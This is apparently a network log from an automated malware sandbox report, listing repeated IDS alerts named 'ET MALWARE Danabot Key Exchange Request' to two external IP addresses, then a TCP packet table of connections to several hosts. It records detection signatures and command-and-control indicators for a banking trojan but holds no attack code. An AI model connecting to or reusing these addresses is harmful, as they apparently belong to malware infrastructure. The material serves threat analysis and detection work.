2025-01-15T20:19:44.975171+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50317	45.76.251.57	443	TCP
2025-01-15T20:19:48.289577+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50322	194.32.76.77	443	TCP
2025-01-15T20:19:50.018480+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50324	45.76.251.57	443	TCP
2025-01-15T20:19:52.235886+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50325	194.32.76.77	443	TCP
2025-01-15T20:19:54.486236+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50326	45.76.251.57	443	TCP
2025-01-15T20:20:06.689081+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50331	194.32.76.77	443	TCP
2025-01-15T20:20:06.771657+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50332	45.76.251.57	443	TCP
2025-01-15T20:20:06.856552+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50333	194.32.76.77	443	TCP
2025-01-15T20:20:06.974269+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50334	45.76.251.57	443	TCP
2025-01-15T20:20:19.589458+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50339	194.32.76.77	443	TCP
2025-01-15T20:20:22.592140+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50340	45.76.251.57	443	TCP
2025-01-15T20:20:25.276113+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50341	194.32.76.77	443	TCP
2025-01-15T20:20:27.477145+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50342	45.76.251.57	443	TCP
2025-01-15T20:20:31.315847+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50347	194.32.76.77	443	TCP
2025-01-15T20:20:34.346825+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50348	45.76.251.57	443	TCP
2025-01-15T20:20:36.776949+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50353	194.32.76.77	443	TCP
2025-01-15T20:20:40.341709+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50354	45.76.251.57	443	TCP
2025-01-15T20:20:53.963375+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50359	194.32.76.77	443	TCP
2025-01-15T20:20:54.076474+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50360	45.76.251.57	443	TCP
2025-01-15T20:20:55.172218+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50361	194.32.76.77	443	TCP
2025-01-15T20:20:55.247598+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50362	45.76.251.57	443	TCP
2025-01-15T20:21:02.920261+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50367	194.32.76.77	443	TCP
2025-01-15T20:21:03.973539+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50368	45.76.251.57	443	TCP
2025-01-15T20:21:05.037404+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50369	194.32.76.77	443	TCP
2025-01-15T20:21:06.123673+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50370	45.76.251.57	443	TCP
2025-01-15T20:21:08.431164+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50375	194.32.76.77	443	TCP
2025-01-15T20:21:09.513404+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50376	45.76.251.57	443	TCP
2025-01-15T20:21:10.583396+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50377	194.32.76.77	443	TCP
2025-01-15T20:21:11.690409+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50378	45.76.251.57	443	TCP
2025-01-15T20:21:17.150696+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50383	194.32.76.77	443	TCP
2025-01-15T20:21:17.219318+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50384	45.76.251.57	443	TCP
2025-01-15T20:21:17.278993+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50386	194.32.76.77	443	TCP
2025-01-15T20:21:17.325112+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50387	45.76.251.57	443	TCP
2025-01-15T20:21:24.708407+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50392	194.32.76.77	443	TCP
2025-01-15T20:21:25.778499+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50393	45.76.251.57	443	TCP
2025-01-15T20:21:26.883319+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50394	194.32.76.77	443	TCP
2025-01-15T20:21:27.967576+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50395	45.76.251.57	443	TCP
2025-01-15T20:21:30.358496+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50400	194.32.76.77	443	TCP
2025-01-15T20:21:31.433444+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50401	45.76.251.57	443	TCP
2025-01-15T20:21:32.513407+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50402	194.32.76.77	443	TCP
2025-01-15T20:21:33.612902+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50403	45.76.251.57	443	TCP
2025-01-15T20:21:38.971622+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50408	194.32.76.77	443	TCP
2025-01-15T20:21:39.022759+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50409	45.76.251.57	443	TCP
2025-01-15T20:21:39.113564+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50410	194.32.76.77	443	TCP
2025-01-15T20:21:39.165919+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50411	45.76.251.57	443	TCP
2025-01-15T20:21:46.576684+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50416	194.32.76.77	443	TCP
2025-01-15T20:21:47.642464+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50417	45.76.251.57	443	TCP
2025-01-15T20:21:48.727329+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50418	194.32.76.77	443	TCP
2025-01-15T20:21:49.797362+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50419	45.76.251.57	443	TCP
2025-01-15T20:21:53.154085+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50424	194.32.76.77	443	TCP
2025-01-15T20:21:54.238451+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50425	45.76.251.57	443	TCP
2025-01-15T20:21:55.324576+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50426	194.32.76.77	443	TCP
2025-01-15T20:21:56.401480+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50427	45.76.251.57	443	TCP
2025-01-15T20:22:02.754800+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50432	194.32.76.77	443	TCP
2025-01-15T20:22:02.824784+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50433	45.76.251.57	443	TCP
2025-01-15T20:22:02.879427+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50434	194.32.76.77	443	TCP
2025-01-15T20:22:02.937630+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50435	45.76.251.57	443	TCP
2025-01-15T20:22:10.338514+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50440	194.32.76.77	443	TCP
2025-01-15T20:22:11.423189+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50441	45.76.251.57	443	TCP
2025-01-15T20:22:12.523479+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50442	194.32.76.77	443	TCP
2025-01-15T20:22:13.606522+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50443	45.76.251.57	443	TCP
2025-01-15T20:22:16.938813+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50448	194.32.76.77	443	TCP
2025-01-15T20:22:18.022504+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50449	45.76.251.57	443	TCP
2025-01-15T20:22:19.099576+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50450	194.32.76.77	443	TCP
2025-01-15T20:22:20.174415+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50451	45.76.251.57	443	TCP
2025-01-15T20:22:26.620031+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50456	194.32.76.77	443	TCP
2025-01-15T20:22:26.684872+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50457	45.76.251.57	443	TCP
2025-01-15T20:22:26.735919+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50458	194.32.76.77	443	TCP
2025-01-15T20:22:26.780429+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50459	45.76.251.57	443	TCP
2025-01-15T20:22:34.234785+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50464	194.32.76.77	443	TCP
2025-01-15T20:22:35.312456+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50465	45.76.251.57	443	TCP
2025-01-15T20:22:36.370627+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50466	194.32.76.77	443	TCP
2025-01-15T20:22:37.471267+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50467	45.76.251.57	443	TCP
2025-01-15T20:22:40.842623+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50472	194.32.76.77	443	TCP
2025-01-15T20:22:41.922196+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50473	45.76.251.57	443	TCP
2025-01-15T20:22:43.002152+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50474	194.32.76.77	443	TCP
2025-01-15T20:22:44.085932+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50475	45.76.251.57	443	TCP
2025-01-15T20:22:49.511855+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50480	194.32.76.77	443	TCP
2025-01-15T20:22:49.576675+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50481	45.76.251.57	443	TCP
2025-01-15T20:22:49.636624+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50482	194.32.76.77	443	TCP
2025-01-15T20:22:49.699671+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50483	45.76.251.57	443	TCP
2025-01-15T20:22:57.118436+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50488	194.32.76.77	443	TCP
2025-01-15T20:22:58.197438+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50489	45.76.251.57	443	TCP
2025-01-15T20:22:59.268214+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50490	194.32.76.77	443	TCP
2025-01-15T20:23:00.344588+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50491	45.76.251.57	443	TCP
2025-01-15T20:23:03.650451+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50496	194.32.76.77	443	TCP
2025-01-15T20:23:04.724974+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50497	45.76.251.57	443	TCP
2025-01-15T20:23:05.804664+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50498	194.32.76.77	443	TCP
2025-01-15T20:23:06.870449+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50499	45.76.251.57	443	TCP
2025-01-15T20:23:12.176679+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50504	194.32.76.77	443	TCP
2025-01-15T20:23:12.224251+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50505	45.76.251.57	443	TCP
2025-01-15T20:23:12.274676+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50506	194.32.76.77	443	TCP
2025-01-15T20:23:12.314757+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50507	45.76.251.57	443	TCP
2025-01-15T20:23:19.678605+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50512	194.32.76.77	443	TCP
2025-01-15T20:23:20.730143+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50513	45.76.251.57	443	TCP
2025-01-15T20:23:21.793063+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50514	194.32.76.77	443	TCP
2025-01-15T20:23:22.863783+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50515	45.76.251.57	443	TCP
2025-01-15T20:23:25.216869+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50520	194.32.76.77	443	TCP
2025-01-15T20:23:26.278642+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50521	45.76.251.57	443	TCP
2025-01-15T20:23:27.352514+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50522	194.32.76.77	443	TCP
2025-01-15T20:23:28.425593+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50523	45.76.251.57	443	TCP
2025-01-15T20:23:33.832820+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50528	194.32.76.77	443	TCP
2025-01-15T20:23:33.876649+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50529	45.76.251.57	443	TCP
2025-01-15T20:23:33.933266+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50530	194.32.76.77	443	TCP
2025-01-15T20:23:33.984697+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50531	45.76.251.57	443	TCP
2025-01-15T20:23:41.385460+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50536	194.32.76.77	443	TCP
2025-01-15T20:23:42.449437+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50537	45.76.251.57	443	TCP
2025-01-15T20:23:43.515725+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50538	194.32.76.77	443	TCP
2025-01-15T20:23:44.586374+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50539	45.76.251.57	443	TCP
2025-01-15T20:23:46.842732+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50544	194.32.76.77	443	TCP
2025-01-15T20:23:47.932677+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50545	45.76.251.57	443	TCP
2025-01-15T20:23:49.015522+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50546	194.32.76.77	443	TCP
2025-01-15T20:23:50.096977+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50547	45.76.251.57	443	TCP
2025-01-15T20:23:55.438500+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50552	194.32.76.77	443	TCP
2025-01-15T20:23:55.499510+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50553	45.76.251.57	443	TCP
2025-01-15T20:23:55.551388+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50554	194.32.76.77	443	TCP
2025-01-15T20:23:55.613988+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50555	45.76.251.57	443	TCP
2025-01-15T20:24:02.961195+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50560	194.32.76.77	443	TCP
2025-01-15T20:24:04.024201+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50561	45.76.251.57	443	TCP
2025-01-15T20:24:05.132710+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50562	194.32.76.77	443	TCP
2025-01-15T20:24:06.213096+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50563	45.76.251.57	443	TCP
2025-01-15T20:24:08.513442+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50568	194.32.76.77	443	TCP
2025-01-15T20:24:09.587109+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50569	45.76.251.57	443	TCP
2025-01-15T20:24:10.657483+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50570	194.32.76.77	443	TCP
2025-01-15T20:24:11.752896+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50571	45.76.251.57	443	TCP
2025-01-15T20:24:17.143548+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50576	194.32.76.77	443	TCP
2025-01-15T20:24:17.191004+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50577	45.76.251.57	443	TCP
2025-01-15T20:24:17.254899+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50578	194.32.76.77	443	TCP
2025-01-15T20:24:17.327636+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50579	45.76.251.57	443	TCP
2025-01-15T20:24:24.691013+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50584	194.32.76.77	443	TCP
2025-01-15T20:24:25.763652+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50585	45.76.251.57	443	TCP
2025-01-15T20:24:26.844766+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50586	194.32.76.77	443	TCP
2025-01-15T20:24:27.906819+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50587	45.76.251.57	443	TCP
2025-01-15T20:24:30.190886+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50592	194.32.76.77	443	TCP
2025-01-15T20:24:31.250027+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50593	45.76.251.57	443	TCP
2025-01-15T20:24:32.334755+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50594	194.32.76.77	443	TCP
2025-01-15T20:24:33.399847+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50595	45.76.251.57	443	TCP
2025-01-15T20:24:39.802154+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50600	194.32.76.77	443	TCP
2025-01-15T20:24:39.853070+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50601	45.76.251.57	443	TCP
2025-01-15T20:24:40.909327+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50602	194.32.76.77	443	TCP
2025-01-15T20:24:40.955093+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50603	45.76.251.57	443	TCP
2025-01-15T20:24:48.342784+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50608	194.32.76.77	443	TCP
2025-01-15T20:24:49.424429+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50609	45.76.251.57	443	TCP
2025-01-15T20:24:50.479537+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50610	194.32.76.77	443	TCP
2025-01-15T20:24:51.547690+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50611	45.76.251.57	443	TCP
2025-01-15T20:24:53.877255+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50616	194.32.76.77	443	TCP
2025-01-15T20:24:54.942240+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50617	45.76.251.57	443	TCP
2025-01-15T20:24:56.017142+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50618	194.32.76.77	443	TCP
2025-01-15T20:24:57.088493+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50619	45.76.251.57	443	TCP
2025-01-15T20:25:02.463979+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50624	194.32.76.77	443	TCP
2025-01-15T20:25:03.549411+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50625	45.76.251.57	443	TCP
2025-01-15T20:25:03.620400+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50626	194.32.76.77	443	TCP
2025-01-15T20:25:03.695563+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50627	45.76.251.57	443	TCP
2025-01-15T20:25:11.053002+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50632	194.32.76.77	443	TCP
2025-01-15T20:25:12.106939+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50633	45.76.251.57	443	TCP
2025-01-15T20:25:13.200506+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50634	194.32.76.77	443	TCP
2025-01-15T20:25:14.265167+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50635	45.76.251.57	443	TCP
2025-01-15T20:25:16.531681+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50640	194.32.76.77	443	TCP
2025-01-15T20:25:17.627826+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50641	45.76.251.57	443	TCP
2025-01-15T20:25:18.713838+0100	2034465	ET MALWARE Danabot Key Exchange Request	1	192.168.2.5	50642	194.32.76.77	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:15:59.262959003 CET	49674	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:15:59.263044119 CET	49675	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:15:59.356756926 CET	49673	443	192.168.2.5	23.1.237.91
Jan 15, 2025 20:16:03.133923054 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.133944988 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:03.134020090 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.142463923 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.142472982 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:03.778924942 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:03.779089928 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.914617062 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.914645910 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:03.915780067 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:03.916397095 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.958544016 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:03.999336004 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.163552046 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.163582087 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.163633108 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:04.163657904 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.163678885 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.163711071 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:04.163738012 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:04.166284084 CET	49704	443	192.168.2.5	149.154.167.99
Jan 15, 2025 20:16:04.166301966 CET	443	49704	149.154.167.99	192.168.2.5
Jan 15, 2025 20:16:04.184428930 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:04.184467077 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:04.184587002 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:04.194263935 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:04.194298983 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.158128023 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.158224106 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.166563988 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.166609049 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.166976929 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.167043924 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.167689085 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.215358019 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.639903069 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.639997005 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.640064001 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.640064001 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.647109032 CET	49705	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.647154093 CET	443	49705	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.649756908 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.649810076 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:05.649899006 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.650475025 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:05.650506973 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:06.355698109 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:06.355803013 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:06.357256889 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:06.357286930 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:06.358624935 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:06.358637094 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.070288897 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.070348978 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.070523024 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.070574045 CET	49707	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.070595026 CET	443	49707	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.071619034 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.071666956 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.073856115 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.074023008 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.074049950 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.719703913 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.719829082 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.763474941 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.763495922 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:07.812378883 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:07.812407017 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.418065071 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.418093920 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.418143034 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.418143034 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.418168068 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.418180943 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.418241024 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.418493986 CET	49712	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.418505907 CET	443	49712	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.422399998 CET	49714	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.422420979 CET	443	49714	116.203.164.230	192.168.2.5
Jan 15, 2025 20:16:08.422485113 CET	49714	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.422686100 CET	49714	443	192.168.2.5	116.203.164.230
Jan 15, 2025 20:16:08.422707081 CET	443	49714	116.203.164.230	192.168.2.5
